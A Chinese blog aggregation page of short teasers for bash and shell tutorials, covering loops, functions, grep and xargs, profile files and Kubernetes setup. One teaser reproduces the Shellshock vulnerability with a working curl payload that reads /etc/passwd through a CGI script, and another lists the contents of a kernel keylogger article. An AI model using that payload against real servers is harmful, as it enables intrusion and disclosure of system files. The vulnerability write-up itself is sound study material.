bash

2024/4/11 13:17:49

室友打了一把王者的时间,我理清楚了grep,find,管道|,xargs的区别与联系,用的时候不知道为什么要这样用

目录 问题引入 find和grep的基本区别 xargs命令 Linux命令的标准输入 vs 命令行参数 举例总结 问题引入 在自己做项目的过程中,想使用linux命令统计下一个目录下html文件的数量,在思考应该使用grep还是find去配合wc指令统计文件数量,后来…

shell编程入门 第二章 函数式编程

shell编程入门 第一章 基本语法 第二章 函数式编程 文章目录 shell编程入门一、带参数的shell函数1.1 打印出传递的参数1.2 判断成绩是否合格1.3 等级赋分 二、无参数的shell函数1.遍历输出1-52.遍历输出1-1003.遍历输出1-100里的所有奇数4.遍历根目录下所有内容5.计算1-100的…

Linux修改编码(解决乱码问题)

修改编码 命令行输入: LANG(语言)编码 (修改编码) export LC_ALL编码(同步编码)

read读取控制台输出[详细有例子(石头剪刀布小游戏)]

目录 1.read读取控制台输入 1.1语法: 1.2选项: 2.例子:石头剪刀布 1.read读取控制台输入 1.1语法: read(选项)(参数) 1.2选项: -p:指定读取值时的提…

shell脚本之算术运算符

shell运算符有哪些 1、算术运算符 2、关系运算符 3、布尔运算符 4、字符串运算符 5、文件测试运算符 需要注意的是,原生的bash不支持简单的数学运算,需要配合其他工具命令实现,如awk, expr。 使用expr运算示例 #!/bin/bash echo "传入…

centos7下kubernets(k8s) 国内阿里源部署笔记

安装环境 系统:centos 7.9 集群: 10.0.11.11 centos001 10.0.11.12 centos002 10.0.11.13 centos003 其中centos001作为master。 如果是克隆出来的虚拟机,可能存在worker的主机名和master一样而无法加入的问题,解决方法是修改…

Linux基础命令和基础知识总结

1. 常用文件管理命令介绍 (1) ctrl c: 取消命令,并且换行 (2) ctrl u: 清空本行命令 (3) tab键:可以补全命令和文件名,如果补全不了快速按两下tab键,可以显示备选选项 (4) ls: 列出当前目录下所有文件,蓝色的是文件夹&…

shell里基本循环结构与流程控制(case、for、while)

目录 1流程控制(case) 1.1语法 1.2实例 1.3运行结果 2.for循环 2.1语法 2.2$*与$的区别 2.2.1$*与$实例比较 2.2.2$*与$实例运行结果 2.3 计算1加到100的值以及任意两数之间的和 2.3.1运行结果 3.while循环 3.1语法 3.2从命令行输入一个数字N,统计从1....N的…

Linux关机shutdown命令解释

格式:shutdown 参数 时间 Shutdown -h now #立即关机 Shutdown -h 19:00 #计算机将会在今天晚七点关机,过了这个时间点明天七点关机 Shutdown -h 10 #表示系统会在10分钟后关机 Shutdown -r now #-rreboot,表…

linux下的Cmake运用实例与install目标文件安装命令的使用解读

cmake_minimum_required(VERSION 3.8)project(OPT_LCD_LIB)# 打印消息 message(${PROJECT_SOURCE_DIR}) message(${PROJECT_BINARY_DIR})# 给文件名/路径名或其他字符串起别名,用${变量}获取变量内容 #set(变量 文件名/路径/...) set(INSTALL_TARGET_DIR /usr/bin/)…

指令基本

基本命令: [rootlocalhost test]# tail -f /var/log/messages 查看日志文件后十行不退出追加显示新的内容信息 [rootlocalhost test]# touch a b c [rootlocalhost test]# mkdir 1 2 3 [rootlocalhost test]# ll total 0 drwxr-xr-x. 2 root root 6 Dec 26 03:44 1…

Mac配置Java环境变量

进入当前用户的home目录 输入cd ~创建.bash_profile 文件 输入touch .bash_profile 3.打开终端 输入 /usr/libexec/java_home -V 查看jdk的安装目录 复制上图中的安装目录 4.输入vim ~/.bash_profile编辑.bash_profile文件 按i进入编辑模式 5.将下面的内容复制到.bash_profile…

Shell常用脚本:检测某域名、IP地址是否通

ping.sh #!/bin/bashtargetAddr$1 if [ $1 ] && ( ping -c 2 ${targetAddr} &>/dev/null ); thenecho "${targetAddr}通" else echo 目标地址空或者目标地址访问不通,请检查 fi

Shell常用脚本:获取网卡IP地址

ip.sh #/bin/bash ipAddr$(ip addr show | grep inet | grep -v inet6 | grep /24 | awk {print $2} | awk -F / {print $1}) echo "网卡IP地址:${ipAddr}"

shell脚本之字符串的拼接

我们通过一个例子来将字符串拼接详细的解释。 #!/bin/bash1. namelzs2. #str"hello,\"$name\"\n"3. greeting"hello, $name"4. greeting1"hello, "$name""5. greeting2"hello, ${name}"6. echo \"\": …

【从零开始的嵌入式生活】LinuxC语言——shell脚本编程

前言 今天是2021年的第五天,又断更了呀,我尽量摆脱游戏。陪大家一起学习0.0。 三连即可提高学习效率0.0 🧑🏻作者简介:一个学嵌入式的年轻人 ✨联系方式:2201891280(QQ) 📔源码地址&#xff1a…

DOS 命令查看占用端口

DOS 命令查看占用端口 # 查看端口使用情况 netstat -ano# 查看某个端口是否被占用,1096 为端口号 netstat -ano | findstr 1096# 查看 PID 对应的进程名称 tasklist | findstr 1096

shell语句中的循环实验(九九乘法表,菱形,直角三角形,等腰三角形)

这里写目录标题九九乘法表打印直角三角形打印菱形打印等腰三角形九九乘法表 [rootlocalhost ~]# vim nine.sh #!/bin/bash #9*9乘法表 for ((i1;i<9;i)) do for ((j1;j<i;j)) doecho -ne "${i}x${j}$[$i*$j]\t" done echo "" done[rootlocalhost ~]…

漏洞复现-Bash

Bash破壳漏洞 解析漏洞破壳漏洞 解析漏洞 Bash漏洞起因 curl -A "() { :; }; /bin/cat /etc/passwd" http://192.168.0.1/poc.cgicurl是linux下用于http请求的一个工具&#xff0c; -A是将User-Agent设置为() { :; }; /bin/cat /etc/passwd字符串后面的http://192.…

基于Linux操作系统中的shell脚本

目录 前言 一、概述 1、什么是shell&#xff1f; 2、shell脚本的用途有哪些&#xff1f; 3、常见的shell有哪些&#xff1f; 4、学习shell应该从哪几个方面入手&#xff1f; 4.1、表达式 1&#xff09;变量 2&#xff09;运算符 4.2、语句 1&#xff09;条件语句&am…

python使用os.system调用shell脚本问题

背景 在接手旧服务代码过程中有一份代码使用了python通过os.system调用linux中的sh命令执行脚本&#xff0c;脚本中执行了hive -e命令来查hive表获取数据写入文件&#xff0c;执行失败。 问题 脚本中的hive命令一直不能运行&#xff0c;打印日志发现输出错误为未找到hive命令…

小豪学Linux(四)——用户身份与权限

5、用户身份与权限 5.1、用户身份与能力 管理员 UID 为 0&#xff1a;系统的管理员用户。 系统用户 UID 为 1&#xff5e;999&#xff1a; Linux 系统为了避免因某个服务程序出现漏洞而被黑客提 权至整台服务器&#xff0c;默认服务程序会有独立的系统用户负责运行&#xff…

bash中(冒号破折号)的用法 —— 筑梦之路

${PUBLIC_INTERFACE:-eth0} :- 的用途是什么&#xff1f; 含义&#xff1a;如果 $PUBLIC_INTERFACE 存在且不是 null&#xff0c;则返回其值&#xff0c;否则返回 "eth0"。 ${parameter:-word} 使用默认值。如果 parameter 未设置或为 null&#xff0c;则 word 的扩…

如何查看服务器CPU是几核的

http://blog.csdn.net/noway/archive/2009/06/02/4235349.aspx 每个虚拟的CPU就有相应的目录来存放一个具体的参数信息。那么在LINUX中&#xff0c;在/proc/acpi/processor目录下就为每个虚拟的CPU建立了一个文件夹。也就是说CPU是几核的&#xff0c;这个目录下就应该有几个文…

常用的shell脚步操作

文章目录一、如何开始一个shell脚本?1.基本语法2.变量定义规则二、特色变量1.$n2.$&#xff1f;三、条件判断1&#xff0e;基本语法2.运算符if,for,while四、字符串切割1.从指定位置开始截取从字符串左边开始计数从右边开始计数2.从指定字符&#xff08;子字符串&#xff09;开…

当修改服务器的/etc/profile文件后,出现-bash: xx: command not found

我只是想改个环境变量奈何它改崩了&#xff0c;我心态也崩了&#xff0c;但是我想诸位同仁肯定也遇到过&#xff0c;没遇过到过的将来也会遇到&#xff0c;所以有了这篇blog 照例:放参考 修改了/etc/profile 文件导致命令不可用_浮_雲的博客-CSDN博客如果因为在 /etc/profile …

vscode中注释多行bash脚本

选择你要注释的行&#xff0c;右击所选的行&#xff0c;从命令调色板中选择添加行注释。 选择后&#xff0c;所选的行将被注释为#&#xff0c;如下图所示。 选择你想取消注释的行&#xff0c;在所选行上点击右键&#xff0c;从命令调色板中选择删除区块注释&#xff0c;就可以从…

基于内核的linux键盘纪录器

1 - 介绍 2 - linux的keyboard驱动是如何工作的 3 - 基于内核的键盘纪录的原理 3.1 - 中断句柄 3.2 - 函数劫持 3.2.1 - 劫持handle_scancode 3.2.2 - 劫持put_queue 3.2.3 - 劫持receive_buf 3.2.4 - 劫持tty_read 3.2.5 - 劫持sys_…

MIT2020《Missing Semester》—2 Shell工具和脚本

本次课将演示一些shell工具以及bash脚本语言的基础用法。这些内容基本上能够覆盖大多数命令行的使用场景。 1 Shell Scripting 上次课我们已经演示了如何在shell里运行程序&#xff0c;以及使用管道命令。 然而&#xff0c;在许多场景当中&#xff0c;我们希望能够运行一系列…

Syntax error: Bad for loop variable解决办法

转自&#xff1a;http://hi.baidu.com/zhouguiyin1/blog/item/055c4fab4fd73ff4faed502e.html 解决办法&#xff1a;sudo dpkg-reconfigure dash在选择项中选No从 ubuntu 6.10 开始&#xff0c;ubuntu 就将先前默认的bash shell 更换成了dash shell&#xff1b;其表现为 /bin/s…

巧用bash的eval命令解析配置文件

背景 最近工作上经常需要导出硬件模块的寄存器&#xff0c;而导出脚本在HAPS&#xff08;一种FPGA仿真平台&#xff09;的执行速度很慢&#xff0c;一开始我以为是执行导出的定制版lookat命令有问题&#xff0c;加了每个步骤的时间戳后没发现问题&#xff0c;于是转而寻找整个…

bind命令

bind 将按键绑定到 Readline 的函数或宏&#xff0c;或设置 Readline 变量的值。不带选项的参数的语法与 ~/.inputrc 文件中的语法相同&#xff0c;但是仅可以传递单个参数&#xff0c;不可以同时 bind 多个参数。 例如&#xff1a; bind "\C-x\C-r": re-read-ini…

Shell脚本编程案例 – 批量创建特殊要求账户

Shell脚本编程案例 – 批量创建特殊要求账户 Shell Scripting Cases – Create a Bunch of accounts with special requests By JacksonML 本文简要介绍批量执行Shell脚本命令的基本思路&#xff0c;以检验shell脚本知识掌握情况。希望对读者有所帮助。 案例要求&#xff1a…

Clickhouse单机部署

ClickHouse部署教程 组件版本 组件版本JDK1.8Mysql5.7.25ClickHouse-client21.1.9.41ClickHouse-server21.1.9.41ClickHouse-common21.1.9.41 机器环境 IP主机名密码192.168.222.201masterpassword192.168.222.202slave1password192.168.222.203slave2password 1、Linux调…

Bsah shell的操作环境

文章目录 Bsah shell的操作环境路径与命令查找顺序使用案例 bash的登录与欢迎信息&#xff1a;/etc/issue、/etc/motdbash的环境配置文件如下login与non-login shell/etc/profile(login shell 才会读)~/.bash_profile(login shell 才会读)source&#xff1a;读入环境配置文件的…

.bash_profile和.bashrc的什么区别

温习一下旧知识吧&#xff0c;平时改prifile比较多突然遇到了有人该bashrc&#xff0c;存篇文档作为了解。 转自:http://linux.chinaunix.net/doc/system/2005-02-03/1084.shtml /etc/profile:此文件为系统的每个用户设置环境信息,当用户第一次登录时,该文件被执行.并从/etc/pr…

Linux centos7 高频词统计

如何统计文章中高频词?是我们经常遇到的问题&#xff0c;也是多场合考察个人知识整合能力的重要手段。招聘经典问题&#xff1a;linux中命令行统计文件中前10个高频词。 在讨论此问题中&#xff0c;主要应用到的知识点有&#xff1a;排序、去重、单词查询、grep、sed和awk使用…

2022.03.24【基因组组装】|获取比对到参考基因组的contig序列

文章目录摘要工具与方法操作方法step.1 构建参考基因组数据库step.2 比对序列step.3 获取query_idstep.4 获取比对序列结果展示摘要 很久没有整理工作笔记了&#xff0c;一方面个人有些倦怠&#xff0c;另一方面国内国际发生的事都牵动着许多人&#xff0c;我也不例外。趁着今…

Shell编程——$[ ] 、${ }、$( )、[ ]、[[ ]]、(())的区别

一、$[ ]、${ }、$( )的区别 1、${ } Shell中使用一个已经定义过的变量&#xff0c;只要在变量名前面加美元符号$即可。变量名外面的{ }是可选的&#xff0c;只是为了帮助解释器识别变量的边界。具体介绍见博客Shell变量简介第一节的第2点。 2、$( ) Shell 支持将命令的执…

Shell语法解释特殊符号 # %

%解释 在 Bash 中&#xff0c;% 符号通常表示删除字符串的后缀。具体来说&#xff0c;${var%pattern} 表示从变量 $var 的结尾删除匹配模式 pattern 的子串&#xff0c;并返回删除后的字符串。 例如&#xff0c;如果 $namebin 的值为 file.bin&#xff0c;那么 ${namebin%.bi…

shell脚本移动文件

需求: 移动/iotdata/data/edge/ota-file-store/下的所有文件到/iotdata/data/edge/download/ota目录下,并删除旧目录 shell命令 mkdir -p /iotdata/data/edge/download/ota/; cp -r /iotdata/data/edge/ota-file-store/. /iotdata/data/edge/download/ota/;rm -rf /iotdata/…

正则表达式基础一

BRE(basic regular expression)&#xff1a;匹配数据流中的文本字符 普通文本匹配 特殊字符 正则表达式存在一些特殊字符&#xff0c;如需当成普通文本来匹配&#xff0c;必须加上转义&#xff0c;即反斜杠\&#xff0c;如下所示 .*[]^${}?|() 指定出现位置的字符 ^ 指定行首…

bash alias 终极使用方法

1. alias 对常用而有经常忘记的 shell 指令&#xff0c;我一般都会使用 alias 重定义一个命令放到 ~/.zshrc 里面&#xff0c;但是这种方式对于无法解决需要输入参数的 shell 命令。 比如下面的命令&#xff1a; find . -type f -exec grep -Ho style.css {} \; | uniq是很实…

测牛学堂:2023软件测试linux深入学习(shell入门)

shell概述 shell是一个用c语言编写的程序&#xff0c;他是用户使用linux的桥梁 shell即可以看作是命令&#xff0c;也可以看作是一种程序设计语言 shell其实就是一个应用程序&#xff0c;它有操作界面&#xff0c;通过通过这个界面&#xff0c;去访问操作系统的内核 其实&…

如何在bash中使用{}范围表达式

在编写 shell 脚本时&#xff0c;有时需要生成数字或字符串序列。这种序列数据的一种常见用途是用于循环迭代。 虽然可以使用 seq 之类的专用工具来生成一系列数字&#xff0c;但 bash 本身提供大括号扩展&#xff0c;实际上没有必要在 bash 脚本中添加此类外部依赖项。在本教程…

如何在 Bash 脚本中添加注释

在 Bash 脚本中添加注释是保持代码整洁且易于理解的最有效方法之一。 你可能会问为什么。 假设你的脚本包含一个复杂的正则表达式或多个复杂的代码块&#xff0c;在这种情况下&#xff0c;你可以添加注释&#xff0c;以便其他开发人员或你可以了解该代码块的含义。 注释掉部…

浅析linux 下的/etc/profile、/etc/bashrc、~/.bash_profile、~/.bashrc 文件

转自&#xff1a;http://huhao1989.iteye.com/blog/1586020 /etc/profile:此文件为系统的每个用户设置环境信息,当用户第一次登录时,该文件被执行. 并从/etc/profile.d目录的配置文件中搜集shell的设置./etc/bashrc:为每一个运行bash shell的用户执行此文件.当bash shell被打…

MySQL8 服务启动重启命令,修改root密码加密方式,区分大小写查看与配置,远程访问配置

Linux MySQL相关命令 登录数据库&#xff1a; mysql -u root -pPASSWORD 重启&#xff1a; systemctl restart mysqld 启动&#xff1a; service mysql start 停止&#xff1a; service mysql stopMySQL内的命令 #查看端口号&#xff1a; show global variables like port; …

bat脚本部署静态文件到nginx | 命令行下vbs自动输入密码

echo off title newCmd::%str:~0,5% 截取字符串 set batDir%cd% echo batDir:%batDir% ::ssh 删除远程文件夹 set pwdxxxx set hostrootwww.xxxx.com set portxxxx set remotePath/usr/share/nginx/dist set projectPathF:\vue\vue-comic ::scp 复制文件夹到远程服务器 set f…

自用 bash配置

在这个文件下增加下面的语句 1.编辑这个配置文件 gedit ~/.bashrc &2.增加的语句 # add 2022.6.9 start # shell分支显示 function git_branch {branch"git branch 2>/dev/null | grep "^\*" | sed -e "s/^\*\ //""if [ "${bran…

nrm 安装与使用

nrm 安装与使用 nrm 是 npm 的镜像源管理工具&#xff0c;可以用来切换 npm 镜像源。 安装 nrm # 使用 npm 全局安装 npm i -g nrmnrm 命令 # 查看镜像列表&#xff0c;带 * 号为当前镜像 nrm ls # 查看当前所在镜像 nrm current# 切换镜像源 nrm use taobao# 添加镜像源&…

linux环境sqlplus中使用backspace键出现乱码的解决方法

在linux环境下使用sqlplus&#xff0c;在回删&#xff08;backspace&#xff09;时往往会出现 一串的乱码。出现乱码是由于oracle的sqlplus不使用gnu的readline库造成的。 解决方法有两种&#xff1a;1。要使用回删键&#xff08;backspace&#xff09;时&#xff0c;同时按住c…

shell脚本中实现远程和其他用户的子shell执行

shell脚本中实现远程和其他用户的子shell执行 文章目录shell脚本中实现远程和其他用户的子shell执行shell远程用户执行脚本简单执行-单行形式的命令脚本执行-对于命令行太多的采用eof方式支持多行命令shell切换用户执行脚本简单执行脚本执行-对于命令行太多的采用eof方式支持多…

Wargames与bash知识19

Wargames与bash知识19 Bandit28 关卡提示&#xff1a; 有一个git存储库位于ssh://bandit28-gitlocalhost/home/bandit28 git/repo通过端口2220。用户bandit28git的密码与用户bandit28的密码相同。克隆存储库并查找下一级别的密码。 bandit28bandit:~$ ls -al total 20 drwx…

虚拟化3—保存恢复和克隆

虚拟化3—保存恢复和克隆 文章目录虚拟化3—保存恢复和克隆一、保存与恢复作用原理1、保存虚拟机2、恢复虚拟机二、克隆虚拟机一、保存与恢复 作用 如果要释放系统资源&#xff0c;你可以关闭该系统中运行的虚拟机&#xff08;VM&#xff09;。然而&#xff0c;当再次需要虚拟…

配置第2台节点-NODE2

关闭节点1&#xff0c;通过vmware复制一个新节点出来&#xff0c;操作非常简单&#xff0c;如果希望界面方式的话&#xff0c;就点击Clone this virtual machine&#xff0c;按照提示下一步即可。如果希望更快捷&#xff0c;直接将rac1目录复制一份到rac2&#xff0c;然后修改.…

Greenplum 学习笔记

/etc/hosts配置&#xff1a; [rootdw-host10-if1 ~]# cat /etc/hosts;# Do not remove the following line, or various programs# that require network functionality will fail.127.0.0.1 localhost.localdomain localhost::1 localhost6.localdo…

bash shell基础命令(一)

1.shell启动 shell提供了对Linux系统的交互式访问&#xff0c;通常在用户登录终端时启动。系统启动的shell程序取决于用户账户的配置。 /etc/passwd/文件包含了所有用户的基本信息配置&#xff0c; $ cat /etc/passwd root:x:0:0:root:/root:/bin/bash ...例如上述root账户信…

Linux与Bash 编程——Linux文件处理命令-L1

目录&#xff1a; linux系统与shell环境准备 Linux系统简介操作系统简史Linux的发行版&#xff1a;Linux与Windows比较&#xff1a;Linux安装安装包下载Linux的访问方式远程登录方式远程登录软件&#xff1a;mobaxterm的使用&#xff1a;使用电脑命令行连接&#xff1a;sshd的…

Linux-rsync 服务器客户端模式同步

rsync&#xff08;Remote Sync&#xff0c;远程同步&#xff09; rsync 两种认证协议&#xff1a; ① SSH 协议(默认) ② rsync 协议。C/S架构(客户端-服务器模式)&#xff0c;默认端口 873。 安装 rpm -qa |grep rsync yum -y install rsync rsync --version ① 使用…

Linux | 一分钟明白14个Linux常用快捷键

你知道什么把专业用户和普通用户分开的吗&#xff1f;掌握键盘快捷键。 好的&#xff01;这虽不是唯一的要素&#xff0c;但毋庸置疑是一个因素。 不论你使用什么工具&#xff0c;快捷键都能帮助你提高生产力和效率。 考虑一下。如果有人完全使用鼠标来复制整个文本而不是 Ct…

打造自己的专属Linux(一):快速建立一个小型Linux .

我的linux版本&#xff1a;redhat 5.4虚拟机客户端&#xff1a;Vmware Workstation 6.5我们分步骤来实现这个小型linux第一步&#xff1a;在虚拟机上添加一块新硬盘到linux&#xff0c;大小20G &#xff08;可以自定&#xff09;第二步&#xff1a;1)打开终端&#xff0c;使用f…

Shell流程控制

shell的流程控制不可为空 一、if语句 &#xff08;一&#xff09;if if 语句语法格式&#xff1a; if condition; then command fi 写成一行&#xff1a; if [ $(ps -ef | grep -c "ssh") -gt 1 ]; then echo "true"; fi 末尾的 fi 就是 if 倒过来…

Linux控制台中文件名的颜色和数字字母

文章目录颜色数字字母└─# ls ~/.ssh -l total 16 -rw-r--r-- 1 root root 215 Feb 6 14:28 authorized_keys颜色 颜色意义实例蓝色目录红色压缩文件或者包文件白色普通文件&#xff08;文本文件&#xff0c;配置文件&#xff0c;源码文件等&#xff…

echo命令

这是一条内置命令。 输出指定的字符串 一、语法 echo [选项] [参数] 二、选项 -e&#xff1a;激活转义字符。 使用-e选项时&#xff0c;若字符串中出现以下字符&#xff0c;则特别加以处理&#xff0c;而不会将它当成一般文字输出&#xff1a; \a 发出警告声&#xff1b; \b 删…

docker 的 Dockerfile 简单使用

#注意事项&#xff1a;容器内是否能正常使用防火墙取决于 你的宿主机和容器是否是同一种系统 #服务器系统 推荐使用 almalinux 容器镜像下载 docker pull almalinux:8.8 #桌面系统 推荐 deepin和mint 附件下载 有道云笔记 下面是编译一个新镜像 更新系统 安装ssh 以及提升…

修改大型二进制库内部函数名的bash 脚本及其解释

1.大型lib库重命名函数名字 迭代的方式对于大型二进制库改名字的功能脚本 会将源文件中的函数 add_(...) 修改成 nubia_add_(...) 的方式来调用 此脚本分配来修改&#xff0c;可以避免突破资源限制 ulimit -a&#xff1b; 保存为&#xff1a;redef_func_name_01.sh chmod…

Ubuntu/Linux 升级 CMake 版本

Ubuntu/Linux 升级 CMake 版本 背景 在 Ubuntu 18.04 系统上默认的 CMake 版本为 3.10.2&#xff0c;当需要进行一些比较新的项目的编译时&#xff0c;比如说 iceoryx 的交叉编译&#xff0c;会遇到 CMake 版本不支持问题。类似下面的打印&#xff1a; CMake Error at CMakeL…

zsh插件之gitignore安装使用教程

安装 zsh 插件管理工具 首先&#xff0c;确保你已经安装了 zsh&#xff0c;然后安装 Oh My Zsh&#xff0c;这是一个流行的 zsh 配置框架。在终端运行以下命令安装 Oh My Zsh&#xff1a; bashCopy code sh -c "$(curl -fsSL https://raw.github.com/ohmyzsh/ohmyzsh/ma…

Linux shell for jar test

Linux shell 脚本&#xff0c;循环解析命令行传入的所有参数&#xff0c;并按照不同的传参实现对不同的 java jar文件 进行测试执行。 [rootlocalhost demo]# cat connTest.sh #!/bin/bash# Linux shell for qftool java jar test# modes DEFAULT_MODE2jarfiles[1]common-1.0…

linux的另一种判断符号【中括号】

由于正在表达式的关系&#xff0c;所以如下 第一、括号内每个组件需要空格分隔 第二、变量最好用双引号 第三、常量最好用单引号或双引号 中括号常用条件判断是 if then fi 为啥发3张图片&#xff0c;因为运行的试试程序报错&#xff0c;说我语法错误“”&#xff0c;可以…

Shell学习之路-(04-运算符)

运算符 Bash 支持很多运算符&#xff0c;包括算数运算符、关系运算符、布尔运算符、字符串运算符和文件测试运算符。 原生bash不支持简单的数学运算&#xff0c;但是可以通过其他命令来实现&#xff0c;例如 awk 和 expr&#xff0c;expr 最常用。 expr 是一款表达式计算工具&…

shell脚本编写_Shell脚本2编写脚本

shell脚本编写In part one of this series, I talked about the basics of Linux system. I could have simply given what I follow to write the shell script but that would not be useful. If you are writing it for enterprises and are managing some serious applicat…

go语言packr包无法正常下载 packr : command not found,go语言版本控制

问题&#xff1a; 使用趣链产品BitXHub&#xff0c;在配置goduck环境时报错 packr : command not found&#xff0c;该报错原因是缺少packer包。 在这里插入图片描述packr包github网址&#xff1a; https://github.com/gobuffalo/packrpackr包的下载命令&#xff1a;$ go get …

Shell脚本同时调用#!/bin/bash和#!/usr/bin/expect

如果你想在一个脚本中同时使用bash和expect&#xff0c;你可以将expect部分嵌入到bash脚本中。以下是一个示例&#xff1a; #!/bin/bash# 设置MySQL服务器地址、端口、用户名和密码 MYSQL_HOST"localhost" MYSQL_PORT"3306" MYSQL_USER"your_usernam…

JVM bash:jmap:未找到命令 解决

如果我们在使用JVM的jmap命令时遇到了"bash: jmap: 未找到命令"的错误&#xff0c;这可能是因为jmap命令没有在系统的可执行路径中。 要解决这个问题&#xff0c;可以尝试以下几种方法&#xff1a; 1. 检查Java安装&#xff1a;确保您已正确安装了Java Development …

理解linux配置文件

每个 Linux 程序都是一个可执行文件&#xff0c;它含有操作码列表&#xff0c;CPU 将执行这些操作码来完成特定的操作。例如&#xff0c;ls 命令是由 /bin/ls 文件提供的&#xff0c;该文件含有机器指令的列表&#xff0c;在屏幕上显示当前目录中文件的列表时需要使用这些机器指…

Linux shell脚本编程

编程语言分类&#xff1a;根据运行方式 编译运行&#xff1a;源代码-->编译器&#xff08;编译&#xff09; -->程序文件 解释运行&#xff1a;源代码-->运行时启动解释器&#xff0c;由解释器边解释边运行 根据其编程过程中功能的实现是调用库还是调用外部的程序文…

【Linux】Ubuntu美化bash【教程】

【Linux】Ubuntu美化bash【教程】 文章目录 【Linux】Ubuntu美化bash【教程】1. 查看当前环境中是否有bash2. 安装Synth-Shell3. 配置Synth-Shell4. 取消greeterReference 1. 查看当前环境中是否有bash 查看当前使用的bash echo $SHELL如下所示 sjhsjhR9000X:~$ echo $SHELL…

linux下标准输入及输出错误详解

输出包含两种类型: 一种是程序的运行结果(标准输出), 一种是状态和错误信息(标准错误). 标准输出(standard output)和 标准错误(standard error), 默认是连接至屏幕; 标准输入(standard input) 默认是连接至键盘; 可以使用IO重定向(redirection), 改变输入, 输出的发送位置; 标…

bash: ifconfig: command not found 解决办法

转自&#xff1a; http://gardenyuan.iteye.com/blog/1001970 原本使用ifconfig 可以使用&#xff0c;今天是怎么了&#xff0c;可能安装软件修改了&#xff0c;百度~~ [oraclelocalhost /]$ ifconfig 提示&#xff1a;“bash: ifconfig: command not found” 于是我切换到root…

shell 知:awk

文章目录1. 初识awk1.1. hello world1.2. awk程序设计模型1.3. 记录和字段1.3.1. 字段和引用的分离1.3.2. 字段的划分&#xff1a;完整的问题1.4. 表达式1.5. 系统变量1.6. 关系操作符和布尔操作符1.7. 格式化打印1.8. 向脚本传递参数2. 条件、循环和数组2.1. 条件语句2.1.1. 条…

Docker 容器中“TERM environment variable not set.”问题解决

在查容器内部资源利用情况时候&#xff0c;发现top命令无法使用&#xff0c;报错“TERM environment variable not set.”。从网上找到了解决方案&#xff0c;如下。 [rootlocalhost ~]# docker exec -ti redis /bin/bash [root9bf53a30e849 /]# top TERM environment variable…

Linux bash特性及bash脚本编程初步

终端&#xff1a;附着在终端的接口程序 GUI&#xff1a; KDE ,GHOME ,XFCE CLI : /etc/shells bash的特性&#xff1a; 命令行展开&#xff1a; ~&#xff0c;{} 命令别名&#xff1a; alias,unalias 命令历史&#xff1a; history 文件名通配符&#xff1a;glob 快捷…

dot(.) is a synonym of `source`

In a bash script what does a dot followed by a space and then a path mean?It’s a synonym of the builtin source. It will execute commands from a file in the current shell, as read from help source or help .

【设计模式】阿里终面:你觉得这个例子是策略模式吗?

什么是策略模式&#xff1f; 策略模式&#xff0c;举几个贴近生活的例子&#xff1a;当我们出行的时候&#xff0c;不同的出行方式就是不同的策略&#xff0c;例如走路、开车、骑自行车、坐飞机、坐邮轮等等&#xff0c;每一种出行方式都代表着不同的费用和时间&#xff1b;当…

虚拟化2-查看虚拟机

虚拟化—查看虚拟机 文章目录虚拟化—查看虚拟机一、获取主机上的虚拟机列表&#xff1a;二、获取有关特定虚拟机的基本信息&#xff1a;三、获得特定虚拟机的完整 XML 配置&#xff1a;四、有关虚拟机磁盘和其它块设备的详情&#xff1a;五、获取有关虚拟机文件系统及其挂载点…

shell免交互

shell免交互 Here Document 免交互 使用I/O重定向的方式将命令列表提供给交互式程序或命令&#xff0c;比如 ftp、cat 或 read 命令。 是标准输入的一种替代品可以帮助脚本开发人员不必使用临时文件来构建输入信息&#xff0c;而是直接就地生产出一个“文件”并用作“命令”的…

【BASH】回顾与知识点梳理(二十)

【BASH】回顾与知识点梳理 二十 二十. 十六至十九章知识点总结及练习20.1 总结20.2 练习 该系列目录 --> 【BASH】回顾与知识点梳理&#xff08;目录&#xff09; 二十. 十六至十九章知识点总结及练习 20.1 总结 shell script 是利用 shell 的功能所写的一个『程序 (prog…

Windows 脚本批量打开文件

Windows 脚本批量打开文件 应用场景 对自己个人而言&#xff0c;每次学习某个内容&#xff0c;要打开一系列学习文档、代码和网页 可应用于执行某个任务需要一次性打开多个文件的场景。 方法 脚本内容 echo offstart "" "E:\Records\WebDesignLearning\la…

Windows shell环境: 从git bash切换到msys2

文章目录 1. 目的2. msys2 环境 (Environment)3. 升级 MSYS2: 使用 pacman 滚动式升级整个系统4. 在 Windows Terminal 中增加显示 MSYS25. 使用 zsh6. VSCode 中的配置增加 MSYS2 终端配置 git 路径 7. 安装 C/C 依赖库安装 ag查询 bison 和 flex 的安装目录 8. References 1.…

Bash processing pipeline

Ref:《Learning the Bash Shell》(3rd), Chapter 7.3 Quoting Variables Use double quotes to prevent word splitting. An argument enclosed in double quotes presents itself as a single word, even if it contains whitespace separators.

【Linux | Shell命令】bash shell 进程、磁盘、排序命令

目录 一、概述二、进程相关命令2.1 ps 命令 三四五 一、概述 上篇文章 bash shell 基础命令 中&#xff0c;介绍了一些与目录、文件相关的 shell 命令&#xff0c;本文继续介绍其他与进程、磁盘、排序、归档相关的命令&#xff0c;读者可以在自己的Linux系统下&#xff0c;实操…

编写Bash脚本程序从记录文件中提取history命令的优化,再介绍linux bash语法和结构

目 录 一、引言 二、脚本代码实现 三、bash语法和结构 &#xff08;一&#xff09;基本语法 1、脚本开始与结束 2、注释 3、变量 4、数据类型 5、控制结构 6、循环控制 7、函数 8、算术运算 9、算术操作符和逻辑操作符 &#xff08;二&#xff09;命令相关…

bash=后自动完成

Create bash completion script to autocomplete paths after is-equal sign?

bash 5.2中文修订1

Bash Features&#xff08;专题&#xff09; 本文简要描述了 Bash shell&#xff08;版本 5.2&#xff0c;2022 年 9 月 19 日&#xff09;中的功能。 Bash 主页是 http://www.gnu.org/software/bash/ 。 这是 5.2 版&#xff0c;最后更新于 2022 年 9 月 19 日&#xff0c;GN…

-bash: sudo: command not found的解决方法

在 Linux 系统中&#xff0c;使用 sudo 命令时提示 “command not found”&#xff0c;首先执行以下命令看一下 /etc/sudoers.d 文件是否存在&#xff1a; find /etc/sudoers.d1&#xff09;如果返回 No such file or directory&#xff0c;就说明系统没有安装sudo&#xff0c…

LinuxBasicsForHackers笔记 -- BASH 脚本

你的第一个脚本&#xff1a;“你好&#xff0c;黑客崛起&#xff01;” 首先&#xff0c;您需要告诉操作系统您要为脚本使用哪个解释器。 为此&#xff0c;请输入 shebang&#xff0c;它是井号和感叹号的组合&#xff0c;如下所示&#xff1a;#! 然后&#xff0c;在 shebang …

linux 之 echo命令用法

